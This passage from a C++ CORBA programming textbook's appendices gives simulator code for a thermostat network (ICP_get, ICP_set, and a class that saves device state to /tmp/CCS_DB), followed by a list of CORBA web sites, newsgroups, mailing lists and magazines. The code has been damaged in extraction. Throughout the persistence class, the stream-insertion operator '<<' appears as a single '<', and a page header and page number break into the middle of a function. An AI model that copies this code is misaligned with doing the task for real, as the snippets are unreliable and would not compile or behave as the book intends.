// value is copied into the buffer pointed to by the value 
// pointer. The len parameter is the size of the passed buffer, 
// so ICP_get() can avoid overrunning the buffer. 
// 
// By default, thermometers report a temperature that varies 
// somewhat around DFLT_TEMP. However, if there is another 
// thermostat in the same room as the thermometer, the 
// thermometer reports a temperature that varies around that 
// thermostat's temperature. For several thermostats that are in 
// the same room, the thermometer reports a temperature that 
// varies around the average nominal temperature of all the 
// thermostats. 
// 
// Attempts to read from a non-existent device or to read a 
// non-existent attribute return -1. A return value of zero 
// indicates success. If the supplied buffer is too short to hold 
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// a value, ICP_get() silently truncates the value and 
// returns success. 
extern "C" 
int 
ICP_get( 
    unsigned long   id, 
    const char *    attr, 
    void *          value, 
    size_t          len) 
{ 
    // Look for id in state map 
    StateMap::iterator pos = dstate.find(id); 
    if (pos == dstate.end()) 
        return -1;                          // No such device 
    // Depending on the attribute, return the 
    // corresponding piece of state. 
    if (strcmp(attr, "model") == 0) { 
        strncpy((char *)value, pos->second.model, len); 
    } else if (strcmp(attr, "location") == 0) { 
        strncpy((char *)value, pos->second.location.c_str(), len); 
    } else if (strcmp(attr, "nominal_temp") == 0) { 
        if (pos->second.type != thermostat) 
            return -1;                      // Must be thermostat 
        memcpy( 
            value, &pos->second.nominal_temp, 
            min(len, sizeof(pos->second.nominal_temp)) 
        ); 
    } else if (strcmp(attr, "temperature") == 0) { 
        short temp = actual_temp(pos); 
        memcpy(value, &temp, min(len, sizeof(temp))); 
    } else if (strcmp(attr, "MIN_TEMP") == 0) { 
        memcpy(value, &MIN_TEMP, min(len, sizeof(MIN_TEMP))); 
    } else if (strcmp(attr, "MAX_TEMP") == 0) { 
        memcpy(value, &MAX_TEMP, min(len, sizeof(MAX_TEMP))); 
    } else { 
        return -1;                          // No such attribute 
    } 
    return 0;                               // OK 
} 
//---------------------------------------------------------------- 
// ICP_set() sets the attribute specified by attr to the 
// value specified by value for the device with ID id. Attempts to 
// write a string longer than MAXSTR bytes (including the 
// terminating NUL) result in silent truncation of the string. 
// Attempts to access a non-existent device or attribute 
// return -1. Attempts to set a nominal temperature outside the 
// legal range also return -1. A zero return value 
// indicates success. 
extern "C" 
int 
ICP_set(unsigned long id, const char * attr, const void * value) 
{ 
    // Look for id in state map 
    StateMap::iterator pos = dstate.find(id); 
    if (pos == dstate.end()) 
        return -1;                          // No such device 
    // Change either location or nominal temp, depending on attr. 



IT-SC book: Advanced CORBA® Programming with C++ 

 874 

    if (strcmp(attr, "location") == 0) { 
        pos->second.location.assign( 
            (const char *)value, MAXSTR - 1 
        ); 
    } else if (strcmp(attr, "nominal_temp") == 0) 
 { 
        if (pos->second.type != thermostat) 
            return -1;                      // Must be thermostat 
        short temp; 
        memcpy(&temp, value, sizeof(temp)); 
        if (temp < MIN_TEMP || temp > MAX_TEMP) 
            return -1; 
        pos->second.nominal_temp = temp; 
    } else { 
        return -1;                          // No such attribute 
    } 
    return 0;                               // OK 
} 

A.3 Persistent Simulator Code 

The persistent simulator applies to the server implementations discussed in Chapter 12 
and later chapters. This version of the simulator stores the state of the ICP network in the 
text file /tmp/CCS_DB, so the server can shut down and start up again without losing 
previous changes made to the network. The text file contains multiline records using one 
line for each device attribute: 
 
Asset number 
 
Device type (zero indicates a thermometer, 1 indicates a thermostat) 
Location 
Nominal temperature (for thermometers only) 
 
Here is a small example file containing a thermometer record followed by a thermostat 
record: 
     
1027 
0 
ENIAC 
3032 
1 
Colossus 
68 
 
    
To keep the /tmp/CCS_DB file up-to-date, we use a global class instance mydb. At 
start-up, the constructor of mydb reads the contents of the file and initializes the dstate 
map; at shutdown, the destructor writes the entire map contents back to the file. This 
design is not terribly elegant, but it has the advantage that the existence of the ICP 
simulator is hidden from the rest of the source code. 
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For simplicity, we keep error checking to a minimum. Also note that state changes are 
written out only if the server terminates cleanly. If the server terminates abnormally—for 
example, with a core dump or by calling _exit—the destructor of mydb never runs and 
all state changes are lost. 
 
To add persistence to the implementation in Section A.2, we append the following code: 
     
#include <fstream.h> 
class ICP_Persist { 
public: 
    ICP_Persist(const char * file); 
    ~ICP_Persist(); 
private: 
    string m_filename; 
}; 
// Read device state from a file and initialize the dstate map. 
ICP_Persist:: 
ICP_Persist(const char * file) : m_filename(file) 
{ 
    // Open input file, creating it if necessary. 
    fstream db(m_filename.c_str(), ios::in|ios::out, 0666); 
    if (!db) { 
        cerr < "Error opening " < m_filename < endl; 
        exit(1); 
    } 
    // Read device details, one attribute per line. 
    DeviceState ds; 
    unsigned long id; 
    while (db >> id) { 
        // Read device type and set model string accordingly. 
        int dtype; 
        db >> dtype; 
        ds.type = dtype == thermometer 
                    ? thermometer : thermostat; 
        ds.model = dtype == thermometer 
                    ? "Sens-A-Temp" : "Select-A-Temp"; 
        char loc[MAXSTR]; 
        db.get(loc[0]);                 // Skip newline 
        db.getline(loc, sizeof(loc));   // Read location 
        ds.location = loc; 
        if (ds.type == thermostat) 
            db >> ds.nominal_temp;      // Read temperature 
        dstate[id] = ds;                // Add entry to map 
    } 
    db.close(); 
    if (!db) { 
        cerr < "Error closing " < m_filename < endl; 
        exit(1); 
    } 
} 
// Write device state to the file. 
ICP_Persist:: 
~ICP_Persist() 
{ 
    // Open input file, truncating it. 
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    ofstream db(m_filename.c_str()); 
    if (!db) { 
        cerr < "Error opening " < m_filename < endl; 
        exit(1); 
    } 
    // Write the state details for each device. 
    StateMap::iterator i; 
    for (i = dstate.begin(); i != dstate.end(); i++) { 
        db < i->first < endl; 
        db < i->second.type < endl; 
        db < i->second.location < endl; 
        if (i->second.type == thermostat) 
            db < i->second.nominal_temp < endl; 
    } 
    if (!db) { 
        cerr < "Error writing " < m_filename < endl; 
        exit(1); 
    } 
    db.close(); 
    if (!db) { 
        cerr < "Error closing " < m_filename < endl; 
        exit(1); 
    } 
} 
// Instantiate a single global instance of the class. 
static ICP_Persist mydb("/tmp/CCS_DB"); 
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Appendix B. CORBA Resources 

B.1 World Wide Web 

There are a number of useful Web sites where you can find more information on all 
aspects of CORBA. 
 
OMG Web site: <http://www.omg.org> 
 
This is the number one place to turn to for information. You can download electronic 
copies of the adopted specifications and see the work in progress on new technologies 
and revisions of the standards. The site also contains a wealth of other information, such 
as CORBA success stories, press releases, latest news, overview material on CORBA, 
links to other CORBA-related sites, a "CORBA for Beginners" section, and so on. 
 
Douglas Schmidt's Home Page: <http://www.cs.wustl.edu/~schmidt> 
 
A very informative site with research papers, tutorials, links to CORBA-related 
information and products, and a host of other material. Of particular interest are papers 
related to ORB performance and real-time CORBA. 
 
Cetus Links on Objects and Components: <http://www.cetus-links.org> 
 
A jump site with thousands of links to information on all aspects of object-oriented 
computing, spanning various engineering disciplines, technologies, and programming 
languages. 

B.2 Newsgroups 

There are several newsgroups relevant to CORBA programming. 
 
comp.object.corba 
The main CORBA discussion group. Topics range from the simple to the highly 
advanced and span all aspects of CORBA. Even though the number of articles per day 
has been steadily rising, the signal-to-noise ratio is still good. Often, this group is the best 
available resource when you are stuck on a specific programming problem. 
comp.lang.java.corba 
 
Mainly for discussion of Java-related aspects of CORBA. However, discussions often 
cover topics that apply more generally. 
 
comp.object 
A general discussion group for object-oriented topics, not limited to CORBA. 
comp.lang.c++.moderated 
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The newsgroup to read if you are interested in C++. Not many topics are directly related 
to CORBA; instead, the discussions cover every imaginable aspect of general C++ 
programming. The group is moderated, and discussions are usually relevant and on topic, 
despite the high volume. 

B.3 Mailing Lists 

You can subscribe to a number of mailing lists relevant to CORBA. 
 
Alan Pope's CORBA Mailing List: <corba-dev@randomwalk.com> 
Wide-ranging discussions on all aspects of CORBA. Moderated, low-volume, high-
quality list. To subscribe, e-mail <majordomo@randomwalk.com> with 
"subscribe corba-dev" in the message body. 
 
Ron Resnick's Distributed Objects Mailing List: <dist-
obj@distributedcoalition.org> 
 
High-quality list on all aspects of distributed computing with excellent signal-to-noise 
ratio. Subscription is moderated. For information on how to subscribe, see < 
http://www.distributedcoalition.org/mailing_lists/dist-obj. 
 
Vendor-specific lists 
Almost all ORB vendors run mailing lists for discussions specific to their product lines. 
Typically, this is the place to learn about the latest patch or product release as well as to 
get tips that are specific to a particular product. Check the vendors' Web sites for 
information on how to subscribe. 
 
OMG mailing lists 
If your company is an OMG member, you can subscribe to a large number of technical 
mailing lists hosted by the OMG. These mailing lists are where much of the work of 
creating new specifications is done. The lists are an excellent source of information if you 
want to keep your finger on the pulse of CORBA. You can find more information for 
these lists and instructions for how to subscribe at <http://www.omg. 
org/members/mailinglists.html. (You must be an OMG member to access this 
page.) 

B.4 Magazines 

We recommend that you read the following magazines. 
 
C++ Report.  New York: SIGS Publications: <http://www.creport.com>  
The best magazine on C++ programming on the market. Contains articles on every aspect 
of C++ programming, including columns specifically devoted to CORBA. Ten issues per 
year, all of which should be mandatory reading for every C++ programmer. 
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Journal of Object-Oriented Programming (JOOP).  New York: SIGS Publications: 
<http://www.joopmag.com>  
A magazine devoted to general topics relating to object-oriented programming. Covers 
many different programming languages, modeling and design techniques, patterns, and 
more. Well worth reading. 
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